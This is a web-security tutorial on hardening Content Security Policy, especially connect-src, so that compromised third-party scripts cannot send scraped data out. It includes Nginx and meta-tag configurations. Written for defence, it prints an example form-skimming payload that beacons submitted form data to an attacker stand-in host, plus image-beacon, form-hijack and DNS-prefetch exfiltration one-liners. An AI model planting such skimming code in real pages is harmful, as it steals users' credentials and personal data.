5 min read

CSP connect-src Isn't Optional: Stopping Compromised Third-Party Scripts

Allowlisting a vendor <script> in script-src isn't enough. Locking down connect-src prevents a compromised third-party script from exfiltrating scraped data to attacker-controlled domains.

Most engineering teams treat Content Security Policy (CSP) as a binary defense against Cross-Site Scripting (XSS): lock down script-src, allowlist your CDN and analytics provider, and call it a day.

Unfortunately, modern client-side compromises rarely rely on injecting a brand-new <script> tag into your DOM. Instead, attackers compromise a vendor you already trust (an A/B testing snippet, customer chat widget, or telemetry SDK) that is already sitting in your script-src allowlist.

Real-World Receipt (Nov 2026): During the Optimizely supply-chain attack that hit 178 major sites, attackers piggybacked on an already-trusted script origin. Post-incident analysis showed that only 15% of affected sites had a strict enough CSP (connect-src, form-action, and img-src) to block payload delivery and data exfiltration once the vendor bundle executed.

Once malicious code executes inside an allowlisted script, script-src has already done its job and stepped aside. What stops that payload from harvesting session tokens, form inputs, or PII from localStorage and shipping them to an attacker-controlled drop server?

The answer is connect-src.


The Anatomy of a Third-Party Exfiltration Attack

Suppose your marketing site or web application loads an A/B testing script from https://cdn.trusted-ab-test.example/sdk.js. Because your team needed that script to run, your CSP includes:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted-ab-test.example;

What happens if you omit connect-src, or worse, set connect-src * because someone got tired of CSP console errors during local testing?

  1. While default-src 'self' acts as a fallback for connect-src, many production policies explicitly widen connect-src to https: or * to accommodate dynamic API endpoints and third-party telemetry beacons.
  2. If sdk.js is compromised upstream (Magecart-style supply-chain attack), the injected JavaScript runs with full access to the page context.
  3. The malicious payload attaches an event listener to checkout or login forms and exfiltrates credentials via fetch(), XMLHttpRequest, navigator.sendBeacon(), or WebSocket:
// Malicious payload inside a compromised 3rd-party analytics bundle
document.querySelector('form')?.addEventListener('submit', (event) => {
  const formData = Object.fromEntries(new FormData(event.target));
  navigator.sendBeacon(
    'https://collector.attacker-controlled.example/ingest',
    JSON.stringify({
      origin: window.location.origin,
      payload: formData,
    })
  );
});

How connect-src Blocks the Exfiltration Channel

The connect-src directive restricts the URLs that can be loaded using script interfaces:

  • fetch() and XMLHttpRequest
  • navigator.sendBeacon()
  • WebSocket (ws: / wss:)
  • EventSource (Server-Sent Events)
  • <a ping> auditing

When you explicitly lock connect-src to the exact origins that receive telemetry or API calls, the browser blocks any network request to an unlisted domain, even when initiated by an allowlisted script.

API / Mechanism Governed by script-src? Governed by connect-src?
<script src="..."> Yes No
fetch() / XHR No Yes
navigator.sendBeacon() No Yes
new WebSocket(...) No Yes
new EventSource(...) No Yes

Production-Ready Nginx Configuration

Below is a hardened Nginx configuration (Nginx 1.25.1+) that enforces a strict connect-src allowlist alongside essential browser security headers:

server {
    listen 443 ssl;
    http2 on;
    server_name xapu.dev;

    # Strict Content Security Policy with explicit connect-src boundary
    # Fallback for any unlisted fetch directive: allow same-origin resources only
    set $csp_default   "default-src 'self';";
    # Allow JavaScript execution only from same-origin and the trusted A/B testing CDN
    set $csp_script    "script-src 'self' https://cdn.trusted-ab-test.example;";
    # Allow stylesheets from same-origin and inline styles (replace 'unsafe-inline' with nonces if possible)
    set $csp_style     "style-src 'self' 'unsafe-inline';";
    # Allow images only from same-origin and data: URIs (blocks image-beacon exfiltration)
    set $csp_img       "img-src 'self' data:;";
    # Allow web fonts only from same-origin
    set $csp_font      "font-src 'self';";
    # Restrict fetch(), XHR, sendBeacon(), WebSocket, and EventSource to same-origin and the vendor telemetry host
    set $csp_connect   "connect-src 'self' https://telemetry.trusted-ab-test.example;";
    # Disable legacy plugins (object-src 'none'), lock <base> and form submissions to 'self', block framing, and force HTTPS
    set $csp_hardening "object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests;";

    # Roll out with Content-Security-Policy-Report-Only first, then switch to enforcing:
    add_header Content-Security-Policy "${csp_default} ${csp_script} ${csp_style} ${csp_img} ${csp_font} ${csp_connect} ${csp_hardening}" always;

    # Defense-in-depth companion headers
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header X-DNS-Prefetch-Control "off" always;
}

Nginx Gotcha: If any nested location block defines its own add_header (such as Cache-Control for static assets), Nginx stops inheriting server-level add_header directives in that block. Repeat your CSP header inside those location blocks or move shared headers into an include security-headers.conf; snippet.

No Access to HTTP Headers? HTML <meta> Tag Fallback

If you deploy to static hosting where you cannot set custom HTTP response headers (like GitHub Pages or a plain object-storage bucket), you can enforce connect-src and other fetch directives directly inside <head> as early as possible:

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self' https://cdn.trusted-ab-test.example; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' https://telemetry.trusted-ab-test.example; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests;"
/>

HTTP Header vs. <meta> Trade-Offs: Always prefer an HTTP response header (Nginx, Cloudflare _headers, or firebase.json) when you have server or CDN control. Browsers ignore frame-ancestors, report-uri, and sandbox inside <meta> tags, and <meta> does not support Content-Security-Policy-Report-Only for safe staged rollouts.


Don’t Forget Non-connect-src Exfiltration Vectors

A determined attacker blocked by connect-src will immediately fall back to secondary exfiltration channels:

  1. Image Beacons (new Image().src = 'https://attacker.example/?d=' + data): Never set img-src * or img-src https:. Keep img-src 'self' data: (plus your explicit image CDN).
  2. Form Hijacking (form.action = 'https://attacker.example'): Always specify form-action 'self', which does not fall back to default-src.
  3. DNS Prefetch Exfiltration (<link rel="dns-prefetch" href="//secret.attacker.example">): CSP does not cover DNS prefetching. Disable it explicitly with X-DNS-Prefetch-Control: off.
  4. Sensitive Route Exposure: Even a strict CSP allows a vendor script to talk to its own allowed telemetry domain. That is why Day 02 strips third-party tags off /login and /checkout completely.

Verify It in 60 Seconds

Inspect your live production CSP header and confirm there are no wildcard connect-src * or https: grants, then test an unauthorized fetch() in DevTools Console:

# 1. Inspect the active CSP header from production
curl -sI https://your-domain.example | grep -i '^content-security-policy'
// 2. Run in Browser DevTools Console on your site (must throw a CSP violation)
fetch('https://example.com/exfil-test').catch(console.error);

Key Takeaway for Day 01

Never use connect-src https: or connect-src * in production. Roll out changes with Content-Security-Policy-Report-Only, separate the origin hosting a third-party script (script-src) from its exact ingestion endpoint (connect-src), and pair it with strict img-src, form-action, and X-DNS-Prefetch-Control: off to close the exfiltration loop.


References

Documentation

Real-World Incidents